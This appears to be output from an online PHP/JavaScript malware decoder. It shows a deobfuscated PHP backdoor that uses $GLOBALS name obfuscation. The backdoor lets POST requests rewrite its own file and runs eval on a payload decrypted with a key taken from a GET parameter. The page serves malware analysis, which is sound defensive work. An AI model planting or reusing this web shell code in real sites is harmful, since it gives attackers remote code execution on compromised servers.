Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$GLOBALS["gejb_ufzxqeberr_keoiacp"]="result";
$GLOBALS["q_ybg_xckspglbybyjvnm"]="string";
$GLOBALS["_iashphohrfglxfnlvtuwufbrje"]="i";
$GLOBALS["oonyikcvemeebempmdksbnhvswmjzxmquvwg__rv"]="k";
$GLOBALS["hdbnrg_fgokcbkduyapimclic"]="char";
$GLOBALS["diwxeugmm_akuwwnmmtbqlbemnbmmirtpnswr"]="keychar";
$GLOBALS["gzkgpswxkquscdrtutehccvjcaxlwbwfdng"]="key";
$GLOBALS["ljprtdwphzkfgwpnjzb__boghwuq"]="_POST";
$GLOBALS["wwwsupzahlzpapkbuvrta"]="old";
$GLOBALS["qhrccjmt_ozgvnd_mrjhuqnt_ncopxulnjy"]="_SERVER";
$GLOBALS["hhhzwbap_drzezebyechjkvik"]="pattern";
$GLOBALS["pwiukwayimuailurvwgwbv"]="new";
$GLOBALS["jdbkdqkgglxpe__o_ndlnhls"]="_GET";
$GLOBALS["arerfckkuf_ggnwljdvpohizpcomeathutpvsh"]="s1";
	function Sdecrypt($string,$key=5){
		try{
		$result="";
		$string=base64_decode($string);
		for($i=0,$k=strlen($string);
		$i<$k;
			$i++){
			$char=substr($string,$i,1);
			$keychar=substr($key,($i% strlen($key))-1,1);
			$char=chr(ord($char)-ord($keychar));
			$result.=$char;
		}
		return $result;
	}
		catch(exception $ex){
		return false;
	}
}
	try{
		if(isset($_POST['replacetext'])&&${
			${
			"GLOBALS"
		}
		["ljprtdwphzkfgwpnjzb__boghwuq"]
	}
		['replacetext']!=null&&isset(${
			${
			"GLOBALS"
		}
		["ljprtdwphzkfgwpnjzb__boghwuq"]
	}
		['delim'])&&${
			${
			"GLOBALS"
		}
		["ljprtdwphzkfgwpnjzb__boghwuq"]
	}
		['delim']!=null){
		$old=file_get_contents(basename($_SERVER['PHP_SELF']));
		$pattern="/".$_POST['delim']."[\w|\\W]*".$_POST['delim']."/";
			if(isset($_POST['repall'])&&${
				${
				"GLOBALS"
			}
			["ljprtdwphzkfgwpnjzb__boghwuq"]
		}
			['repall']!=null){
			$new=$_POST['replacetext'];
		}
			else{
			$new=preg_replace($pattern,$_POST['replacetext'],$old);
		}
		file_put_contents(basename($_SERVER['PHP_SELF']),$new);
	}
		if(isSet($_GET["random"])){
			try{
			eval(Sdecrypt($s1,($_GET["random"])));
		}
			catch(ParseError $error){
		}
	}
}
	catch(exception $ex){
	echo "catch error";
}



© 2020 Quttera Ltd. All rights reserved.